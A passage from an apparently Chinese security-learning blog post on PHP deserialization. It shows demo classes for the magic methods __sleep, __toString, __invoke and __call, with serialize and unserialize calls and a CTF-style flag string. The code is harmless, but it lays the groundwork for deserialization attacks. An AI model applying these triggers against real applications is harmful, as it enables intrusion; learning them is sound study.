style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        //这里我指定序列化xiexie属性</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">xiexie</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">unserialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/sleep.png\" class=\"\" title=\"sleep\"></p>\n<p>看结果，与wakeup差不多刚好在serialize调用的前一行触发，同时也的确只序列化了xiexie属性</p>\n<h3 id=\"__tostring\"><a class=\"anchor\" href=\"#__tostring\">#</a> __toString()：</h3>\n<p>当对象被当做字符串调用，会触发__toString()</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __toString</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">return is essential</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/tostring.png\" class=\"\" title=\"tostring\"></p>\n<p>这里如果我们不设置一个返回值的话结果是这样的：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/noreturn.png\" class=\"\" title=\"noreturn\"></p>\n<h3 id=\"__invoke\"><a class=\"anchor\" href=\"#__invoke\">#</a> __invoke():</h3>\n<p>当将一个对象作为函数进行调用时自动调用</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __invoke</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/invoke.png\" class=\"\" title=\"invoke\"></p>\n<p>也可以这么做(赋值处理)：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/invoke2.png\" class=\"\" title=\"invoke2\"></p>\n<h3 id=\"__call\"><a class=\"anchor\" href=\"#__call\">#</a> __call()：</h3>\n<p>调用不存在或不可见的成员方法时，PHP会先调用__call()方法来存储方法名及其参数</p>\n<p>需要注意的是，__call()方法中必须存在两个参数<span class=\"katex\"><span class=\"katex-mathml\"><math xmlns=\"http://www.w3.org/1998/Math/MathML\"><semantics><mrow><mi>m</mi><mi>e</mi><mi>t</mi><mi>h</mi><mi>o</mi><mi>d</mi><mtext>和</mtext></mrow><annotation encoding=\"application/x-tex\">method和</annotation></semantics></math></span><span class=\"katex-html\" aria-hidden=\"true\"><span class=\"base\"><span class=\"strut\" style=\"height:0.6944em;\"></span><span class=\"mord mathnormal\">m</span><span class=\"mord mathnormal\">e</span><span class=\"mord mathnormal\">t</span><span class=\"mord mathnormal\">h</span><span class=\"mord mathnormal\">o</span><span class=\"mord mathnormal\">d</span><span class=\"mord cjk_fallback\">和</span></span></span></span>args，否则会报错：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Fatal error: Method ZLARYY::__call() must take exactly 2 arguments in D:\\phpstudy_pro\\WWW\\exercise.php on line 14</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> FLAG</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag is ZLARYY&#123;2L47yY&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __call</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">method</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">args</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">i don't have </span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">method</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">method</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> this method&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        var_dump</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">args</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span 